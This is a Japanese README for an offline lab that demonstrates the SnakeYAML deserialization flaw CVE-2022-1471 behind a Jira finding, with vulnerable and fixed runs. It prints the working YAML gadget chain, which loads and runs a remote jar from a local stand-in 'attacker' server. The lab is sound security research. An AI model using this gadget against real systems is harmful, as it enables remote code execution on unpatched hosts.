CVE-2022-1471 の背後にある仕組みを実証する、オフラインで自己完結型のラボです (SnakeYAML の安全でないデシリアライゼーション → RCE、CVSS 9.8)。これは、Jira / Jira Service Management の検出結果で 9.4.9 を実行しているホストに対して使用されたものです (影響範囲 9.4.0–9.4.12、9.4.14 で修正済み — Atlassian の JSDSERVER-14906 を参照)。
このラボは、正確に次の 2 つのことを実証します。
ConstructorException) — 何も実行されません。このラボは、稼働中のホストを一切悪用しません。すべては 127.0.0.1 上で実行されます。
ペイロード (src/Exploit.java) は無害です — その静的初期化子はテキストファイルを 1 つ書き込むだけで、
それ以外のことは何もしません。
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
JDK 17+ が PATH 上にある必要があります (javac、java、jar)。tools/ 配下に
バンドルされた JDK が存在する場合は、そちらが代わりに使用されます。ネットワークトラフィックは、
127.0.0.1:8077 上のローカル HTTP サーバーのみで、終了時に停止されます。
src/VulnDemo.java は、素の new Yaml().load(yaml) です — これは、脆弱性のある
Automation for Jira のバージョンがインポートされたルール YAML に対して行うのと同じ、安全でない呼び出しです。
攻撃者側の YAML は、標準的なガジェットです:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x は、許可リストなしで任意のクラスをインスタンス化します → JVM が「攻撃者」
サーバーからクラスを取得してロードします → その静的初期化子が実行されます。SnakeYAML 2.x は、
デフォルトで SafeConstructor になり、
グローバルタグを拒否します。
sample-output-PWNED-proof.txt は、実行時のマーカーファイルの内容を示しています。
screenshots/ は、両方の実行 (脆弱な場合と修正済みの場合) を示しています。
許可されたセキュリティ研究です。ライブラリの仕組みと修正の境界の実証のみを 目的としており、本番システムに対するエクスプロイトではありません。Jira ベクトルを 悪用するには、さらに認証済み (Jira 管理者) によるオートメーションルールの インポートが必要です。